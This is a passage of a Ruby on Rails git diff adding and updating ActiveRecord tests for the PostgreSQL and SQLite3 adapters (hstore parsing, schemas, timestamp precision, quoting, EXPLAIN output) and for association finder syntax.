@@ -16,9 +17,18 @@ module ActiveRecord
         def test_explain_with_eager_loading
           explain = Developer.where(:id => 1).includes(:audit_logs).explain
           assert_match %(QUERY PLAN), explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
           assert_match %(Index Scan using developers_pkey on developers), explain
+          assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs"  WHERE "audit_logs"."developer_id" IN (1)), explain
           assert_match %(Seq Scan on audit_logs), explain
         end
+
+        def test_dont_explain_for_set_search_path
+          queries = Thread.current[:available_queries_for_explain] = []
+          ActiveRecord::Base.connection.schema_search_path = "public"
+          assert queries.empty?
+        end
+
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
new file mode 100644
index 0000000000..23bafde17b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -0,0 +1,157 @@
+# encoding: utf-8
+
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlHstoreTest < ActiveRecord::TestCase
+  class Hstore < ActiveRecord::Base
+    self.table_name = 'hstores'
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    begin
+      @connection.transaction do
+        @connection.create_table('hstores') do |t|
+          t.hstore 'tags', :default => ''
+        end
+      end
+    rescue ActiveRecord::StatementInvalid
+      return skip "do not test on PG without hstore"
+    end
+    @column = Hstore.columns.find { |c| c.name == 'tags' }
+  end
+
+  def teardown
+    @connection.execute 'drop table if exists hstores'
+  end
+
+  def test_column
+    assert_equal :hstore, @column.type
+  end
+
+  def test_type_cast_hstore
+    assert @column
+
+    data = "\"1\"=>\"2\""
+    hash = @column.class.string_to_hstore data
+    assert_equal({'1' => '2'}, hash)
+    assert_equal({'1' => '2'}, @column.type_cast(data))
+
+    assert_equal({}, @column.type_cast(""))
+    assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
+    assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
+  end
+
+  def test_gen1
+    assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
+  end
+
+  def test_gen2
+    assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
+  end
+
+  def test_gen3
+    assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
+  end
+
+  def test_gen4
+    assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
+  end
+
+  def test_parse1
+    assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
+  end
+
+  def test_parse2
+    assert_equal({" " => " "},  @column.type_cast("\\ =>\\ "))
+  end
+
+  def test_parse3
+    assert_equal({"=" => ">"},  @column.type_cast("==>>"))
+  end
+
+  def test_parse4
+    assert_equal({"=a"=>"q=w"},   @column.type_cast('\=a=>q=w'))
+  end
+
+  def test_parse5
+    assert_equal({"=a"=>"q=w"},   @column.type_cast('"=a"=>q\=w'))
+  end
+
+  def test_parse6
+    assert_equal({"\"a"=>"q>w"},  @column.type_cast('"\"a"=>q>w'))
+  end
+
+  def test_parse7
+    assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
+  end
+
+  def test_rewrite
+    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+    x = Hstore.first
+    x.tags = { '"a\'' => 'b' }
+    assert x.save!
+  end
+
+
+  def test_select
+    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+    x = Hstore.first
+    assert_equal({'1' => '2'}, x.tags)
+  end
+
+  def test_select_multikey
+    @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+    x = Hstore.first
+    assert_equal({'1' => '2', '2' => '3'}, x.tags)
+  end
+
+  def test_create
+    assert_cycle('a' => 'b', '1' => '2')
+  end
+
+  def test_nil
+    assert_cycle('a' => nil)
+  end
+
+  def test_quotes
+    assert_cycle('a' => 'b"ar', '1"foo' => '2')
+  end
+
+  def test_whitespace
+    assert_cycle('a b' => 'b ar', '1"foo' => '2')
+  end
+
+  def test_backslash
+    assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
+  end
+
+  def test_comma
+    assert_cycle('a, b' => 'bar', '1"foo' => '2')
+  end
+
+  def test_arrow
+    assert_cycle('a=>b' => 'bar', '1"foo' => '2')
+  end
+
+  def test_quoting_special_characters
+    assert_cycle('ca' => 'cà', 'ac' => 'àc')
+  end
+
+  private
+  def assert_cycle hash
+    # test creation
+    x = Hstore.create!(:tags => hash)
+    x.reload
+    assert_equal(hash, x.tags)
+
+    # test updating
+    x = Hstore.create!(:tags => {})
+    x.tags = hash
+    x.save!
+    x.reload
+    assert_equal(hash, x.tags)
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
index d57794daf8..92e31a3e44 100644
--- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -49,6 +49,33 @@ module ActiveRecord
         assert_equal expect, id
       end
 
+      def test_insert_sql_with_returning_disabled
+        connection = connection_without_insert_returning
+        id = connection.insert_sql("insert into postgresql_partitioned_table_parent (number) VALUES (1)")
+        expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first
+        assert_equal expect, id
+      end
+
+      def test_exec_insert_with_returning_disabled
+        connection = connection_without_insert_returning
+        result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id', 'postgresql_partitioned_table_parent_id_seq')
+        expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first
+        assert_equal expect, result.rows.first.first
+      end
+
+      def test_exec_insert_with_returning_disabled_and_no_sequence_name_given
+        connection = connection_without_insert_returning
+        result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id')
+        expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first
+        assert_equal expect, result.rows.first.first
+      end
+
+      def test_sql_for_insert_with_returning_disabled
+        connection = connection_without_insert_returning
+        result = connection.sql_for_insert('sql', nil, nil, nil, 'binds')
+        assert_equal ['sql', 'binds'], result
+      end
+
       def test_serial_sequence
         assert_equal 'public.accounts_id_seq',
           @connection.serial_sequence('accounts', 'id')
@@ -179,6 +206,17 @@ module ActiveRecord
         assert_equal Arel.sql('$2'), bind
       end
 
+      def test_partial_index
+        @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
+        index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
+        assert_equal "(number > 100)", index.where
+      end
+
+      def test_distinct_with_nulls
+        assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls first"])
+        assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls last"])
+      end
+
       private
       def insert(ctx, data)
         binds   = data.map { |name, value|
@@ -193,6 +231,10 @@ module ActiveRecord
 
         ctx.exec_insert(sql, 'SQL', binds)
       end
+
+      def connection_without_insert_returning
+        ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations['arunit'].merge(:insert_returning => false))
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
index 172055f15c..f8a605b67c 100644
--- a/activerecord/test/cases/adapters/postgresql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -19,6 +19,18 @@ module ActiveRecord
           assert_equal 'f', @conn.type_cast(false, nil)
           assert_equal 'f', @conn.type_cast(false, c)
         end
+
+        def test_quote_float_nan
+          nan = 0.0/0
+          c = Column.new(nil, 1, 'float')
+          assert_equal "'NaN'", @conn.quote(nan, c)
+        end
+
+        def test_quote_float_infinity
+          infinity = 1.0/0
+          c = Column.new(nil, 1, 'float')
+          assert_equal "'Infinity'", @conn.quote(infinity, c)
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
index 19669bdeb0..9208f53997 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -24,25 +24,27 @@ class SchemaTest < ActiveRecord::TestCase
     'moment timestamp without time zone default now()'
   ]
   PK_TABLE_NAME = 'table_with_pk'
+  UNMATCHED_SEQUENCE_NAME = 'unmatched_primary_key_default_value_seq'
+  UNMATCHED_PK_TABLE_NAME = 'table_with_unmatched_sequence_for_pk'
 
   class Thing1 < ActiveRecord::Base
-    set_table_name "test_schema.things"
+    self.table_name = "test_schema.things"
   end
 
   class Thing2 < ActiveRecord::Base
-    set_table_name "test_schema2.things"
+    self.table_name = "test_schema2.things"
   end
 
   class Thing3 < ActiveRecord::Base
-    set_table_name 'test_schema."things.table"'
+    self.table_name = 'test_schema."things.table"'
   end
 
   class Thing4 < ActiveRecord::Base
-    set_table_name 'test_schema."Things"'
+    self.table_name = 'test_schema."Things"'
   end
 
   class Thing5 < ActiveRecord::Base
-    set_table_name 'things'
+    self.table_name = 'things'
   end
 
   def setup
@@ -60,6 +62,8 @@ class SchemaTest < ActiveRecord::TestCase
     @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_D_COLUMN} DESC);"
     @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_D_COLUMN} DESC);"
     @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
+    @connection.execute "CREATE SEQUENCE #{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME} (id integer NOT NULL DEFAULT nextval('#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}'::regclass), CONSTRAINT unmatched_pkey PRIMARY KEY (id))"
   end
 
   def teardown
@@ -67,12 +71,55 @@ class SchemaTest < ActiveRecord::TestCase
     @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
   end
 
+  def test_schema_names
+    assert_equal ["public", "test_schema", "test_schema2"], @connection.schema_names
+  end
+
+  def test_create_schema
+    begin
+      @connection.create_schema "test_schema3"
+      assert @connection.schema_names.include? "test_schema3"
+    ensure
+      @connection.drop_schema "test_schema3"
+    end
+  end
+
+  def test_raise_create_schema_with_existing_schema
+    begin
+      @connection.create_schema "test_schema3"
+      assert_raises(ActiveRecord::StatementInvalid) do
+        @connection.create_schema "test_schema3"
+      end
+    ensure
+      @connection.drop_schema "test_schema3"
+    end
+  end
+
+  def test_drop_schema
+    begin
+      @connection.create_schema "test_schema3" 
+    ensure
+      @connection.drop_schema "test_schema3"
+    end
+    assert !@connection.schema_names.include?("test_schema3")
+  end
+
+  def test_raise_drop_schema_with_nonexisting_schema
+    assert_raises(ActiveRecord::StatementInvalid) do
+      @connection.drop_schema "test_schema3"
+    end
+  end
+
   def test_schema_change_with_prepared_stmt
+    altered = false
     @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
     @connection.exec_query "alter table developers add column zomg int", 'sql', []
+    altered = true
     @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
   ensure
-    @connection.exec_query "alter table developers drop column if exists zomg", 'sql', []
+    # We are not using DROP COLUMN IF EXISTS because that syntax is only
+    # supported by pg 9.X
+    @connection.exec_query("alter table developers drop column zomg", 'sql', []) if altered
   end
 
   def test_table_exists?
@@ -175,13 +222,13 @@ class SchemaTest < ActiveRecord::TestCase
   end
 
   def test_raise_on_unquoted_schema_name
-    assert_raise(ActiveRecord::StatementInvalid) do
+    assert_raises(ActiveRecord::StatementInvalid) do
       with_schema_search_path '$user,public'
     end
   end
 
   def test_without_schema_search_path
-    assert_raise(ActiveRecord::StatementInvalid) { columns(TABLE_NAME) }
+    assert_raises(ActiveRecord::StatementInvalid) { columns(TABLE_NAME) }
   end
 
   def test_ignore_nil_schema_search_path
@@ -197,7 +244,7 @@ class SchemaTest < ActiveRecord::TestCase
   end
 
   def test_dump_indexes_for_schema_multiple_schemas_in_search_path
-    do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1)
+    do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN)
   end
 
   def test_with_uppercase_index_name
@@ -237,12 +284,12 @@ class SchemaTest < ActiveRecord::TestCase
   def test_pk_and_sequence_for_with_schema_specified
     [
       %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"),
-      %(#{SCHEMA_NAME}."#{PK_TABLE_NAME}"),
-      %(#{SCHEMA_NAME}.#{PK_TABLE_NAME})
+      %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
     ].each do |given|
       pk, seq = @connection.pk_and_sequence_for(given)
       assert_equal 'id', pk, "primary key should be found when table referenced as #{given}"
-      assert_equal "#{SCHEMA_NAME}.#{PK_TABLE_NAME}_id_seq", seq, "sequence name should be found when table referenced as #{given}"
+      assert_equal "#{PK_TABLE_NAME}_id_seq", seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}")
+      assert_equal "#{UNMATCHED_SEQUENCE_NAME}", seq, "sequence name should be found when table referenced as #{given}" if given ==  %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
     end
   end
 
diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
index 337f43c421..26507ad654 100644
--- a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -27,4 +27,69 @@ class TimestampTest < ActiveRecord::TestCase
     d = Developer.create!(:name => 'aaron', :updated_at => -1.0 / 0.0)
     assert_equal(-1.0 / 0.0, d.updated_at)
   end
+
+  def test_default_datetime_precision
+    ActiveRecord::Base.connection.create_table(:foos)
+    ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime
+    ActiveRecord::Base.connection.add_column :foos, :updated_at, :datetime
+    assert_nil activerecord_column_option('foos', 'created_at', 'precision')
+  end
+
+  def test_timestamp_data_type_with_precision
+    ActiveRecord::Base.connection.create_table(:foos)
+    ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime, :precision => 0
+    ActiveRecord::Base.connection.add_column :foos, :updated_at, :datetime, :precision => 5
+    assert_equal 0, activerecord_column_option('foos', 'created_at', 'precision')
+    assert_equal 5, activerecord_column_option('foos', 'updated_at', 'precision')
+  end
+
+  def test_timestamps_helper_with_custom_precision
+    ActiveRecord::Base.connection.create_table(:foos) do |t|
+      t.timestamps :precision => 4
+    end
+    assert_equal 4, activerecord_column_option('foos', 'created_at', 'precision')
+    assert_equal 4, activerecord_column_option('foos', 'updated_at', 'precision')
+  end
+
+  def test_passing_precision_to_timestamp_does_not_set_limit
+    ActiveRecord::Base.connection.create_table(:foos) do |t|
+      t.timestamps :precision => 4
+    end
+    assert_nil activerecord_column_option("foos", "created_at", "limit")
+    assert_nil activerecord_column_option("foos", "updated_at", "limit")
+  end
+
+  def test_invalid_timestamp_precision_raises_error
+    assert_raises ActiveRecord::ActiveRecordError do
+      ActiveRecord::Base.connection.create_table(:foos) do |t|
+        t.timestamps :precision => 7
+      end
+    end
+  end
+
+  def test_postgres_agrees_with_activerecord_about_precision
+    ActiveRecord::Base.connection.create_table(:foos) do |t|
+      t.timestamps :precision => 4
+    end
+    assert_equal '4', pg_datetime_precision('foos', 'created_at')
+    assert_equal '4', pg_datetime_precision('foos', 'updated_at')
+  end
+
+  private
+
+    def pg_datetime_precision(table_name, column_name)
+      results = ActiveRecord::Base.connection.execute("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name ='#{table_name}'")
+      result = results.find do |result_hash|
+        result_hash["column_name"] == column_name
+      end
+      result && result["datetime_precision"]
+    end
+
+    def activerecord_column_option(tablename, column_name, option)
+      result = ActiveRecord::Base.connection.columns(tablename).find do |column|
+        column.name == column_name
+      end
+      result && result.send(option)
+    end
+
 end
diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb
index 5f08f79171..9e7b08ef34 100644
--- a/activerecord/test/cases/adapters/postgresql/utils_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb
@@ -1,3 +1,5 @@
+require 'cases/helper'
+
 class PostgreSQLUtilsTest < ActiveSupport::TestCase
   include ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils
 
diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb
index 303ba9245a..66e07b71a0 100644
--- a/activerecord/test/cases/adapters/postgresql/view_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/view_test.rb
@@ -14,7 +14,7 @@ class ViewTest < ActiveRecord::TestCase
   ]
 
   class ThingView < ActiveRecord::Base
-    set_table_name 'test_schema.view_things'
+    self.table_name = 'test_schema.view_things'
   end
 
   def setup
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
index 575b4806c1..7eef4ace81 100644
--- a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -57,6 +57,14 @@ class CopyTableTest < ActiveRecord::TestCase
     end
   end
 
+  def test_copy_table_with_unconventional_primary_key
+    test_copy_table('owners', 'owners_unconventional') do |from, to, options|
+      original_pk = @connection.primary_key('owners') 
+      copied_pk = @connection.primary_key('owners_unconventional')
+      assert_equal original_pk, copied_pk
+    end
+  end
+
 protected
   def copy_table(from, to, options = {})
     @connection.copy_table(from, to, {:temporary => true}.merge(options))
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
index e18892821d..b227bce680 100644
--- a/activerecord/test/cases/adapters/sqlite3/explain_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -9,12 +9,15 @@ module ActiveRecord
 
         def test_explain_for_one_query
           explain = Developer.where(:id => 1).explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
           assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
         end
 
         def test_explain_with_eager_loading
           explain = Developer.where(:id => 1).includes(:audit_logs).explain
+          assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers"  WHERE "developers"."id" = 1), explain
           assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+          assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs"  WHERE "audit_logs"."developer_id" IN (1)), explain
           assert_match(/(SCAN )?TABLE audit_logs/, explain)
         end
       end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
index e0152e7ccf..2ba9143cd5 100644
--- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -1,10 +1,11 @@
 require "cases/helper"
 require 'bigdecimal'
 require 'yaml'
+require 'securerandom'
 
 module ActiveRecord
   module ConnectionAdapters
-    class SQLiteAdapter
+    class SQLite3Adapter
       class QuotingTest < ActiveRecord::TestCase
         def setup
           @conn = Base.sqlite3_connection :database => ':memory:',
@@ -12,6 +13,14 @@ module ActiveRecord
             :timeout => 100
         end
 
+        def test_type_cast_binary_encoding_without_logger
+          @conn.extend(Module.new { def logger; end })
+          column = Struct.new(:type, :name).new(:string, "foo")
+          binary = SecureRandom.hex
+          expected = binary.dup.encode!('utf-8')
+          assert_equal expected, @conn.type_cast(binary, column)
+        end
+
         def test_type_cast_symbol
           assert_equal 'foo', @conn.type_cast(:foo, nil)
         end
@@ -70,9 +79,9 @@ module ActiveRecord
           assert_equal bd.to_f, @conn.type_cast(bd, nil)
         end
 
-        def test_type_cast_unknown
+        def test_type_cast_unknown_should_raise_error
           obj = Class.new.new
-          assert_equal YAML.dump(obj), @conn.type_cast(obj, nil)
+          assert_raise(TypeError) { @conn.type_cast(obj, nil) }
         end
 
         def test_quoted_id
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index eb6f071dc1..4e26c5dda1 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -20,11 +20,17 @@ module ActiveRecord
             number integer
           )
         eosql
+
+        @conn.extend(LogIntercepter)
+        @conn.intercepted = true
       end
 
-      def test_column_types
-        return skip('only test encoding on 1.9') unless "<3".encoding_aware?
+      def teardown
+        @conn.intercepted = false
+        @conn.logged = []
+      end
 
+      def test_column_types
         owner = Owner.create!(:name => "hello".encode('ascii-8bit'))
         owner.reload
         select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', '
@@ -60,18 +66,6 @@ module ActiveRecord
         end
       end
 
-      def test_connection_no_adapter
-        assert_raises(ArgumentError) do
-          Base.sqlite3_connection :database => ':memory:'
-        end
-      end
-
-      def test_connection_wrong_adapter
-        assert_raises(ArgumentError) do
-          Base.sqlite3_connection :database => ':memory:',:adapter => 'vuvuzela'
-        end
-      end
-
       def test_bad_timeout
         assert_raises(TypeError) do
           Base.sqlite3_connection :database => ':memory:',
@@ -144,8 +138,6 @@ module ActiveRecord
       end
 
       def test_quote_binary_column_escapes_it
-        return unless "<3".respond_to?(:encode)
-
         DualEncoding.connection.execute(<<-eosql)
           CREATE TABLE dual_encodings (
             id integer PRIMARY KEY AUTOINCREMENT,
@@ -158,6 +150,7 @@ module ActiveRecord
         binary.save!
         assert_equal str, binary.data
 
+      ensure
         DualEncoding.connection.drop_table('dual_encodings')
       end
 
@@ -242,13 +235,23 @@ module ActiveRecord
       end
 
       def test_tables_logs_name
-        name = "hello"
-        assert_logged [[name, []]] do
-          @conn.tables(name)
+        assert_logged [['SCHEMA', []]] do
+          @conn.tables('hello')
           assert_not_nil @conn.logged.first.shift
         end
       end
 
+      def test_indexes_logs_name
+        assert_logged [["PRAGMA index_list(\"items\")", 'SCHEMA', []]] do
+          @conn.indexes('items', 'hello')
+        end
+      end
+
+      def test_table_exists_logs_name
+        assert @conn.table_exists?('items')
+        assert_equal 'SCHEMA', @conn.logged[0][1]
+      end
+
       def test_columns
         columns = @conn.columns('items').sort_by { |x| x.name }
         assert_equal 2, columns.length
@@ -284,7 +287,6 @@ module ActiveRecord
       end
 
       def test_indexes_logs
-        intercept_logs_on @conn
         assert_difference('@conn.logged.length') do
           @conn.indexes('items')
         end
@@ -336,21 +338,10 @@ module ActiveRecord
       private
 
       def assert_logged logs
-        intercept_logs_on @conn
         yield
         assert_equal logs, @conn.logged
       end
 
-      def intercept_logs_on ctx
-        @conn.extend(Module.new {
-          attr_accessor :logged
-          def log sql, name, binds = []
-            @logged << [sql, name, binds]
-            yield
-          end
-        })
-        @conn.logged = []
-      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
index ae272e2c4b..2f04c60a9a 100644
--- a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -1,7 +1,7 @@
 require 'cases/helper'
 
 module ActiveRecord::ConnectionAdapters
-  class SQLiteAdapter
+  class SQLite3Adapter
     class StatementPoolTest < ActiveRecord::TestCase
       def test_cache_is_per_pid
         return skip('must support fork') unless Process.respond_to?(:fork)
diff --git a/activerecord/test/cases/aggregations_test.rb b/activerecord/test/cases/aggregations_test.rb
index 3e0e6dce2c..5bd8f76ba2 100644
--- a/activerecord/test/cases/aggregations_test.rb
+++ b/activerecord/test/cases/aggregations_test.rb
@@ -109,6 +109,24 @@ class AggregationsTest < ActiveRecord::TestCase
     assert_nil customers(:david).gps_location
   end
 
+  def test_nil_return_from_converter_is_respected_when_allow_nil_is_true
+    customers(:david).non_blank_gps_location = ""
+    customers(:david).save
+    customers(:david).reload
+    assert_nil customers(:david).non_blank_gps_location
+  end
+
+  def test_nil_return_from_converter_results_in_failure_when_allow_nil_is_false
+    assert_raises(NoMethodError) do
+      customers(:barney).gps_location = ""
+    end
+  end
+
+  def test_do_not_run_the_converter_when_nil_was_set
+    customers(:david).non_blank_gps_location = nil
+    assert_nil Customer.gps_conversion_was_run
+  end
+
   def test_custom_constructor
     assert_equal 'Barney GUMBLE', customers(:barney).fullname.to_s
     assert_kind_of Fullname, customers(:barney).fullname
diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb
index 588adc38e3..b2eac0349b 100644
--- a/activerecord/test/cases/ar_schema_test.rb
+++ b/activerecord/test/cases/ar_schema_test.rb
@@ -37,6 +37,13 @@ if ActiveRecord::Base.connection.supports_migrations?
         end
       end
     end
+
+    def test_schema_subclass
+      Class.new(ActiveRecord::Schema).define(:version => 9) do
+        create_table :fruits
+      end
+      assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+    end
   end
 
 end
diff --git a/activerecord/test/cases/associations/association_scope_test.rb b/activerecord/test/cases/associations/association_scope_test.rb
new file mode 100644
index 0000000000..d38648202e
--- /dev/null
+++ b/activerecord/test/cases/associations/association_scope_test.rb
@@ -0,0 +1,15 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/author'
+
+module ActiveRecord
+  module Associations
+    class AssociationScopeTest < ActiveRecord::TestCase
+      test 'does not duplicate conditions' do
+        association_scope = AssociationScope.new(Author.new.association(:welcome_posts))
+        wheres = association_scope.scope.where_values.map(&:right)
+        assert_equal wheres.uniq, wheres
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 1160d236c9..5f7825783b 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -73,14 +73,14 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
   def test_eager_loading_with_primary_key
     Firm.create("name" => "Apple")
     Client.create("name" => "Citibank", :firm_name => "Apple")
-    citibank_result = Client.find(:first, :conditions => {:name => "Citibank"}, :include => :firm_with_primary_key)
+    citibank_result = Client.all.merge!(:where => {:name => "Citibank"}, :includes => :firm_with_primary_key).first
     assert citibank_result.association_cache.key?(:firm_with_primary_key)
   end
 
   def test_eager_loading_with_primary_key_as_symbol
     Firm.create("name" => "Apple")
     Client.create("name" => "Citibank", :firm_name => "Apple")
-    citibank_result = Client.find(:first, :conditions => {:name => "Citibank"}, :include => :firm_with_primary_key_symbols)
+    citibank_result = Client.all.merge!(:where => {:name => "Citibank"}, :includes => :firm_with_primary_key_symbols).first
     assert citibank_result.association_cache.key?(:firm_with_primary_key_symbols)
   end
 
@@ -168,6 +168,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
 
     sponsor.sponsorable = Member.new :name => "Bert"
     assert_equal Member, sponsor.association(:sponsorable).send(:klass)
+    assert_equal "members", sponsor.association(:sponsorable).aliased_table_name
   end
 
   def test_with_polymorphic_and_condition
@@ -180,8 +181,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_with_select
-    assert_equal Company.find(2).firm_with_select.attributes.size, 1
-    assert_equal Company.find(2, :include => :firm_with_select ).firm_with_select.attributes.size, 1
+    assert_equal 1, Company.find(2).firm_with_select.attributes.size
+    assert_equal 1, Company.all.merge!(:includes => :firm_with_select ).find(2).firm_with_select.attributes.size
   end
 
   def test_belongs_to_counter
@@ -297,12 +298,12 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, Topic.find(topic.id)[:replies_count]
   end
 
-  def test_belongs_to_counter_when_update_column
+  def test_belongs_to_counter_when_update_columns
     topic = Topic.create!(:title => "37s")
     topic.replies.create!(:title => "re: 37s", :content => "rails")
     assert_equal 1, Topic.find(topic.id)[:replies_count]
 
-    topic.update_column(:content, "rails is wonderfull")
+    topic.update_columns(content: "rails is wonderfull")
     assert_equal 1, Topic.find(topic.id)[:replies_count]
   end
 
@@ -333,7 +334,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
   def test_new_record_with_foreign_key_but_no_object
     c = Client.new("firm_id" => 1)
     # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
-    assert_equal Firm.find(:first, :order => "id"), c.firm_with_basic_id
+    assert_equal Firm.all.merge!(:order => "id").first, c.firm_with_basic_id
   end
 
   def test_setting_foreign_key_after_nil_target_loaded
@@ -393,9 +394,9 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_association_assignment_sticks
-    post = Post.find(:first)
+    post = Post.first
 
-    author1, author2 = Author.find(:all, :limit => 2)
+    author1, author2 = Author.all.merge!(:limit => 2).to_a
     assert_not_nil author1
